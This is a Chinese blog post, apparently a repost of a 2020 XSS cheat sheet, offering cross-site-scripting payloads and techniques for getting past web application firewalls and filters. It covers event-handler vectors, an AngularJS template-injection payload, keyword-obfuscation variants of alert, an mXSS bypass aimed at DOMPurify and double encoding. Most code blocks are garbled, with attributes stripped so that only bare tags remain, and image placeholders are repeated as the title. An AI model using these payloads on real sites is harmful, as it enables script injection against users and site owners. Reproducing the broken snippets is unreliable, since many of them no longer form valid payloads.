2020年仍然有效的一些XSS Payload


2020年仍然有效的一些XSS Payload

其實,現在網絡上很多的XSS Cheat Sheet都已經過期了。很多的XSS Cheat Sheet都是直接從其他地方粘貼過來的,而且有的測試用例早在十年前就已經沒用了,但是也沒人去整理和清理。除此之外,在大多數情況下我們所遇到的情況都是這些XSS Cheat Sheet測試用例無法解決的,有可能是因為Waf,也有可能是因為XSS過濾器。當然了,如果只是一個簡單的XSS漏洞,那你需要的僅僅只是一個有效的XSS攻擊向量,而不是一堆“沒用”的東西。

因此,在這篇文章中我想給大家提供一個“與眾不同”的Cheat Sheet,在這份Cheat Sheet中我將給大家提供一份XSS技術和測試用例清單,並給出一些演示樣例。希望在各位遇到難解決的WAF或XSS過濾器時,這份Cheat Sheet能夠給大家提供一些幫助或靈感。雖然這份Cheat Sheet不能說100%完整,但是我相信這裡提供的技術是2020年絕大部分研究人員仍在使用的技術。

標籤-屬性分隔符

有些過濾器會“天真地認為”只有某些特定字符可以分隔標籤及其屬性,下面給出的是在Firefox和Chrome中能夠使用的有效分隔符的完整列表:

2020年仍然有效的一些XSS Payload

使用方式

一般來說,你的Payload構造如下:

你可以嘗試使用上述字符來替換‘svg’和‘onload’中間的空格,這樣就可以保證HTML仍然有效並且Payload能夠正確執行(DEMO:有效的HTML):

<code><svgonload> # newline char # tab char<svgonload> # new page char (0xc)/<svgonload>/<svgonload>/<code>

基於JavaScript事件的XSS

標準HTML事件

點擊事件:

2020年仍然有效的一些XSS Payload

使用樣例:

<code>
<marquee> (firefox only)<marquee> (firefox only)<marquee> (firefox only)<details> (chrome & opera only)/<details>/<marquee>/<marquee>/<marquee>/<code>

HTML5事件

點擊事件:

2020年仍然有效的一些XSS Payload

使用樣例:

<code><video><video><source>/<video><video><source>/<video><video><source>/<video><video><source>/<video><video><source>/<video><video><source>/<video><audio><source>/<audio><audio><source>/<audio>/<code>

基於CSS的事件

不幸的是,基於CSS來實現XSS現在已經越來越難了,我嘗試過的所有向量目前都只能在非常舊的瀏覽器上工作。因此,下面介紹的是基於CSS來觸發XSS的情況。

下面的例子使用的是style標籤來為動畫的開始和結束設置關鍵幀:

<code>

XSS

XSS

/<code>

古怪的XSS向量

下面給出的是一些比較“奇葩”的XSS測試向量,這些測試向量很少見:

<code><animate><object><iframe><object><iframe><embed><embed><embed>/<embed>/<iframe>/<object>/<iframe>/<object>/<code>

XSS多覆蓋樣例

下面我給出了幾份XSS的多段代碼,因為有的時候我們只需要輸入特定的字符,或者只需要一個基於DOM或基於非DOM的注入場景。

2020年仍然有效的一些XSS Payload

框架

為了攻擊JS框架,我們還需要對相關的模板語言進行研究和分析。

AngularJS

{{constructor.constructor('alert(1)')()}}

這個Payload適用於大多數場景。

Mavo

[self.alert(1)]

XSS過濾器繞過

圓括號過濾

利用HTML解析器和JS語句:

<code>/<code>

限制字符集

下面這三個站點可以將有效的JS代碼轉換為所謂的“亂碼”來繞過絕大多數的過濾器:

1、JSFuck2、JSFsck(不帶圓括號的JSFuck)3、jjencode

關鍵詞過濾

避免使用的關鍵詞:

(alert)(1)
(1,2,3,4,5,6,7,8,alert)(1)
a=alert,a(1)
[1].find(alert)
top["al”+”ert"](1)
top[/al/.source+/ert/.source](1)
alu0065rt(1)
top['al145rt'](1)
top['alx65rt'](1)
top[8680439..toString(30)](1) // Generated using parseInt("alert",30). Other bases also work

mXSS和DOM攻擊

對於XSS過濾器來說,它們基本上不可能正確地預測瀏覽器如何跟HTML以及交互庫進行數據處理的方式。因此,有的時候我們就可以將XSS Payload作為無效的HTML插入到目標頁面中,然後瀏覽器將有可能把它作為有效Payload執行,這樣就可以繞過過濾器了。

下面給出的是一個能夠繞過最常見過濾器(DOMPurify <2.0.1)的mXSS Payload:

<code>">

">

/<code>

雙重編碼

有的時候,應用程序會在字符串再次解碼之前,對其執行XSS過濾,這樣就會給我們留下實現繞過的可乘之機。

2020年仍然有效的一些XSS Payload

1、https://www.vulnerability-lab.com/resources/documents/531.txt2、https://portswigger.net/web-security/cross-site-scripting/cheat-sheet3、https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations4、https://cure53.de/fp170.pdf5、https://www.youtube.com/watch?v=5W-zGBKvLxk6、https://xss.pwnfunction.com/


原文鏈接:https://www.anquanke.com/post/id/198806


分享到:


相關文章: